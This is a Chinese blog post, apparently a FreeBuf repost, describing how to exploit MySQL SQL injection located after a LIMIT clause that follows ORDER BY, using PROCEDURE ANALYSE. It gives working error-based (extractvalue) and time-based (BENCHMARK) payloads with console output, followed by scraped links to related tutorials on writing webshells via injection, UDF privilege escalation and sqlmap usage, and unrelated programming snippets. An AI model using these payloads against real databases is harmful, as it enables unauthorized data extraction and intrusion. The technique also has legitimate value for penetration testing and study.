描写sql注入利用方法的文章数不胜数,本文将描述一种比较特殊的场景。

细节

在一次测试中,我碰到了一个sql注入的问题,在网上没有搜到解决办法,当时的注入点是在limit关键字后面,数据库是MySQL5.x,SQL语句类似下面这样:

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 【注入点】

问题的关键在于,语句中有order by 关键字,我们知道,mysql 中在order by 前面可以使用union 关键字,所以如果注入点前面没有order by 关键字,就可以顺利的使用union 关键字,但是现在的情况是,注入点前面有order by 关键字,这个问题在stackoverflow 上和sla.ckers上都有讨论,但是都没有什么有效的解决办法。

我们先看看 mysql 5.x 的文档中的 select 的语法:

SELECT
    [ALL | DISTINCT | DISTINCTROW ]
      [HIGH_PRIORITY]
      [STRAIGHT_JOIN]
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
    select_expr [, select_expr ...]
    [FROM table_references
    [WHERE where_condition]
    [GROUP BY {col_name | expr | position}
      [ASC | DESC], ... [WITH ROLLUP]]
    [HAVING where_condition]
    [ORDER BY {col_name | expr | position}
      [ASC | DESC], ...]
    [LIMIT {[offset,] row_count | row_count OFFSET offset}]
    [PROCEDURE procedure_name(argument_list)]
    [INTO OUTFILE 'file_name' export_options
      | INTO DUMPFILE 'file_name'
      | INTO var_name [, var_name]]
    [FOR UPDATE | LOCK IN SHARE MODE]]

limit 关键字后面还有 PROCEDURE 和 INTO 关键字,into 关键字可以用来写文件,但这在本文中不重要,这里的重点是 PROCEDURE 关键字.MySQL默认可用的存储过程只有 ANALYSE (doc)。

尝试用这个存储过程:

mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1);
 
ERROR 1386 (HY000): Can't use ORDER clause with this procedure

ANALYSE支持两个参数,试试两个参数:

mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1,1);
 
ERROR 1386 (HY000): Can't use ORDER clause with this procedure

依然无效,尝试在 ANALYSE 中插入 sql 语句:

mysql> SELECT field from table where id > 0 order by id LIMIT 1,1 procedure analyse((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1);

响应如下:

ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse’

事实证明,sleep 没有被执行,最终,我尝试了如下payload :

mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
 
ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'

啊哈,上面的方法就是常见的报错注入,所以,如果注入点支持报错,那所有问题都ok,但是如果注入点不是报错的,还可以使用 time-based 的注入,payload 如下:

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

有意思的是,这里不能用sleep而只能用 BENCHMARK。

另外,这里还有一种类似的方法 https://rdot.org/forum/showpost.php?p=36186&postcount=30

[参考来源rateip.com,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)]

【转载】Mysql注入点在limit关键字后面的利用方法的更多相关文章

  1. [视频]K8飞刀 mysql注入点拿shell & UDF提权教程

    [视频]K8飞刀  mysql注入点拿shell & UDF提权教程 链接: https://pan.baidu.com/s/1a7u_uJNF6SReDbfVtAotIw 提取码: ka5m

  2. MySQL注入点与SQL语句的关系

    目录 注入位置分类 内联式 - UNION query SQL injection 终止式 - End SQL injection 堆叠式 - Stacked queries SQL injectio ...

  3. MySQL注入点写webshell的五种方式

    0x00 写数据的前提 1,在mysql的配置文件 my.ini 中,secure_file_priv="c:/wamp64/tmp" 被注释 或者 `secure_file_pr ...

  4. MySQL确认注入点

    目录 WHERE子句后面的注入点 逻辑符号AND.OR other order by union limit table WEB渗透测试流程中,初期工作是进行信息收集,完成信息收集之后,就会进行漏洞测 ...

  5. Web安全0001 - MySQL SQL注入 - 如何寻找注入点

    注:本文是学习网易Web安全进阶课的笔记,特此声明. 其他数据库也可以参考寻找注入点. A: 一.信息搜集(百度) 1.无特定目标 inurl:.php?id= 2.有特定目标 inurl:.php? ...

  6. Sqlmap注入Base64编码的注入点

    不小心删了,找快照才找到的.补回来... 上次遇到一个Base64的注入点,手工注入太麻烦,于是在网上看了一下sqlmap Base64注入的方法,如下: sqlmap -u http://xxxx. ...

  7. MySQL表名和数据库关键字相同解决办法

    今天改他们的代码的时候,遇到了MySQL表名和数据库关键字的问题. 由于表名是关键字,导致增删改查都报错. Hibernate: select leave0_.id as id22_, leave0_ ...

  8. mysql 去除重复 Select中DISTINCT关键字的用法 在使用mysql时,有时需要查询出某个字段不重复的记录,虽然mysql提供 有distinct这个关键字来过滤掉多余的重复记录只保留一条,但往往只用它来返回不重复记录的条数,而不是用它来返回不重记录的所有值。其原因是 distinct只能返回它的目标字段,而无法返回其它字段,这个问题让我困扰了很久,用distinct不能解决的话,

      在使用mysql时,有时需要查询出某个字段不重复的记录,虽然mysql提供 有distinct这个关键字来过滤掉多余的重复记录只保留一条,但往往只用它来返回不重复记录的条数,而不是用它来返回不重记 ...

  9. 手工sql注入判断是否存在注入点

    1.加入单引号 ’提交,结果:如果出现错误提示,则该网站可能就存在注入漏洞.2.数字型判断是否有注入;语句:and 1=1 ;and 1=2 (经典).' and '1'=1(字符型)结果:分别返回不 ...

随机推荐

  1. Java 中如何使用clone()方法克隆对象?

    java为什么要 对象克隆: 在程序开发时,有时可能会遇到以下情况:已经存在一个对象A,现在需要一个与A对象完全相同的B 对象,并对B 对象的属性值进行修改,但是A 对象原有的属性值不能改变.这时,如 ...

  2. The JavaScript this Keyword

    https://www.w3schools.com/js/js_this.asp What is this? The JavaScript this keyword refers to the obj ...

  3. glm初试,关于行矩阵列矩阵问题

    /*** * glm中矩阵是行优先存储的,这不同于opengl默认的以列优先存储的方式??,以下面矩阵mat为例 * 它是用四个行向量来模拟存储四个行:vec4 value[4],其中 * value ...

  4. Linux双网卡绑定和解除

    转载双网卡绑定和解除  一定要在服务管理中关闭NetworkManager服务并禁用自动启动,因为NetworkManager服务是实时生效的,一旦设置错,管理员就得回到机房接显示器配置网络连接. 以 ...

  5. xfs格式化、ext4格式化并指定inode区别

    [root@b ~]# mkfs.ext4 -N 90000000 /dev/sdb3 首先是mkfs.xfs的,重点是这几个:     -i size=512  : 默认的值是256KB,这里的设置 ...

  6. 九、MySQL报错( (1292, u"Truncated incorrect DOUBLE value: '424a000000066'") result = self._query(query))

    1.数据库sql语句:SELECT seat_id FROM netsale_order_seat os join netsale_order nor on os.order_code=nor.ord ...

  7. java SimpleDateFormat setLenient用法

    参考博客:https://www.cnblogs.com/my-king/p/4276577.html SimpleDateFormat.setLenient(true) : 默认值true,不严格解 ...

  8. sql时间类型相关

    1.现在时间 NOW() 示例: select * from users where date<now() 2.时间相减 INTERVAL ' DAY 示例: ' DAY 3.timestamp ...

  9. 【MM系列】SAP MM模块-移动类型全部列表

    公众号:SAP Technical 本文作者:matinal 原文出处:http://www.cnblogs.com/SAPmatinal/ 原文链接:[MM系列]SAP MM模块-移动类型全部列表 ...

  10. char数组初始化

    初始化 char str[10]="Hello"; char str[10]={'H','e','l','l','o','\0'}; char str[10]={'H'}; cha ...